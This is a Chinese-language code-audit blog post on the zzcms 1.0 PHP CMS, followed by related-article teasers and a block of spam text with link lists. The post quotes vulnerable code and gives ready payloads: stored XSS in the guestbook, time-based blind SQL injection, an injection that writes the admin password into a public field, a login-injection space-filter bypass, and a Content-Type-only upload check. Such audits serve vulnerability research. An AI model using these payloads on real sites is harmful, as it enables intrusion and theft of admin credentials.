zzcms1.0代码审计

链接:http://pan.baidu.com/s/1hsy0XNm 密码:kdxh

一个处处是洞的cms

首先include/glob.php 虽然写了全局的转义 但是并没卵用

    include_once("ZC_Article.php");
    include_once("ZC_Pro.php");
    include_once("ZC_Link.php");
    include_once("ZC_About.php");
    include_once("ZC_Book.php");
    include_once("ZC_Down.php");
    include_once("ZC_Upload.php");
    include_once("ZC_Cache.php");

    if($_REQUEST){
        if(get_magic_quotes_gpc()){
            $_REQUEST = zc_strip($_REQUEST);
        }else{
            $_POST = zc_check($_POST);
            $_GET = zc_check($_GET);
            @extract($_POST);
            @extract($_GET);
        }
        $_REQUEST=filter_xss($_REQUEST, ZZCMS_TAGS);
        @extract($_REQUEST);
    }

前台后台基本上所有跟数据库交互的地方都能注入

Pro_Show.php?id=1/About.php?id=1Download.php?id=1代码就不展示了 

XSS

    function add_book(){
        global $db;
        $_POST[email protected]extract(zc_strip($_POST)):NULL;

        ///if($vercode!=$_SESSION[‘ver_code‘]){
        //    showmsg("验证码错误!");
        //}
        unset($_SESSION[‘ver_code‘]);
        $time=time();
        $ip=$_SERVER[‘REMOTE_ADDR‘];
        $sql="insert into `".PRE."book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘".$title."‘,‘".$name."‘,‘".$qq."‘,‘".$url."‘,‘".$email."‘,‘".$content."‘,‘".$time."‘,‘".$ip."‘)";
        $db->query($sql) or die(showmsg("添加留言失败"));
        showmsg("添加留言成功!","Book.php");
    }
}

添加留言处没有任何过滤

payload </td><script>alert(/xss/);</script>

因为前面转义不管用 可以闭合来搞注入

但是他没有写die(mysql_error())

就没法闭合来报错注入了

但是可以通过insert的时间盲注来搞...如果有耐心的话或者能自动识别验证码跑脚本的话 还是可以搞出来的

payload

insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,‘1231312323‘,‘1500565966‘ and If(1=1,sleep(5),sleep(0)),‘39.64.115.55‘);

第二种payload

insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,‘1231312323‘,‘1500565966‘ and (select case when (select 1=1) then sleep(6) else sleep(0) end ) ,‘39.64.115.55‘);

第三种payload

insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,(select password from zzcms_admin limit 0,1),‘1500565966‘ ,‘39.64.115.55‘);

第三种构造好后

content是管理员密码 如果管理员回复的话可在前台看到

后台登入处

$name=str_replace(" ","",$name);
$sql="select * from `".PRE."admin` where `name`=‘$name‘";

可逻辑可盲注替换了空格 可以用%0a代替

后台任意上传的地方

public $allow_type=array(‘image/jpg‘,‘image/jpeg‘,‘image/png‘,‘image/pjpeg‘,‘image/gif‘,‘image/bmp‘,‘image/x-png‘);

只验证了Content-Type: image/jpeg 任意后缀可上传

时间: 07-19

zzcms1.0代码审计的相关文章

鬃嘴释怀说太多就成真不了。

子阻撞砖奏尊仔籽着 释怀说太多就成真不了. http://passport.baidu.com/?business&un=vip&un=%E5%A4%A9%E6%B0%B4%E4%B8%8A%E9%97%A8%E8%BF%99%E5%B0%8F%E5%A7%90#0 http://passport.baidu.com/?business&un=vip&un=%E7%99%BD%E9%93%B6%E4%B8%8A%E9%97%A8%E8%BF%99%E5%B0%8F%E5%A

澜星粘鼐贩逊耐盼系甭妊倏纪傲傲sdfghjk

http://passport.baidu.com/?business&un=R&un=%E5%A4%A7%E5%AE%81%E6%A1%91%E6%8B%BF%E9%80%9A%E5%B0%8F%E5%A7%90#0 http://passport.baidu.com/?business&un=R&un=%E4%B9%A1%E5%AE%81%E6%A1%91%E6%8B%BF%E9%80%9A%E5%B0%8F%E5%A7%90#0 http://passport.bai

php代码审计知识整理【4】

代码审计 =================================================================================================== *   sql注入     **  变量未过滤导致         *** http://www.test404.com/post-811.html         -   $_SERVER变量未过滤,请求头中X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCE

php代码审计之弱类型引发的灾难

有人说php是世界上最好的语言,这可能是对开发人员来说,确实有这方面的特点,因为它开发起来不像其他语言那样麻烦,就比如:弱类型,它不需要像java等语言那样明确定义数据类型.这给开发带来了很大的便利,所有的数据类型都可以用$xx来定义,而不需要int i,string a,fload b等等这样去定义它.这样确实很方便,因为php帮助你判断了数据类型,比如整形int ,你只要$a=1;那这个1就是整形,$a='abc'那这个abc就会被php判断为字符串类型.但是弱类型方便是方便,但是带来的安全

代码审计基础知识

代码审计函数篇 addslashed() 添加反斜杠 stripslashed() 去掉反斜杠 get_magic_quotes_gpc() 判断是否开启gpc expode(".",$array) 分割成数组 is_numeric() 判断是否为数字 sizeof() 判断长度 trim() 去处字符串开头和末尾的空格或其他字符 exec() 不输出结果,返回最后一行shell结果,所以结果可以保存到一个返回的数组里面 passthru()只调用命令,把命令的运行结果原样地直接输出到

php代码审计学习之dvwa_sql

0x00 由于转了onenote行列,所以已经好久没有发表新的随笔了,但是想想还是非常有必要的,这几天开始学习php代码审计,所以先开始发这一些的随笔吧! 首先就先通过十大测试平台dvwa开始学习吧,先在这里带上参考的大牛链接,感谢分享 1.http://drops.wooyun.org/papers/483 2.http://www.lxway.com/86980986.htm   is_numeric 函数绕过 3.http://www.cnblogs.com/Safe3/archive/2

php代码审计基础笔记

出处: 九零SEC连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059 ---------------------------------------------------------- team:xdsec&90sec author:wilson blog:http://blog.wils0n.cn/ 文章链接:wilson's blog_php代码审计基础笔记[求人气~~] ----------------------

XDCTF2015代码审计全解

此次CTF WEB2是一个大题,一共4个flag,分别代表:获取源码.拿下前台管理.拿下后台.getshell. 目标站:http://xdsec-cms-12023458.xdctf.win/ 根据提示: 0×01 获取源码 “时雨的十一 时雨是某校一名学生,平日钟爱php开发. 十一七天,全国人民都在水深火热地准备朋友圈杯旅游摄影大赛,而苦逼的时雨却只能在宿舍给某邪恶组织开发CMS——XDSEC-CMS. 喜欢开源的时雨将XDSEC-CMS源码使用git更新起来,准备等开发完成后push到g

代码审计学习之反射型XSS

0x01 基础介绍 xss漏洞分类:一般来说分三种 反射型XSS 保存型XSS 基于DOM的XSS 今天先学习反射型xss:它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析.执行.它的特点是非持久化,必须用户点击带有特定参数的链接才能引起. 0x02 造成原因及利用 一般来说,许多漏洞造成的原因都是因为对用户的输入太信任造成的,没有进行严谨的过滤,通常在代码审计的过程中,审计获取用户输入的函数或者操作如存储等等 一.对变量直接输出 例如: <?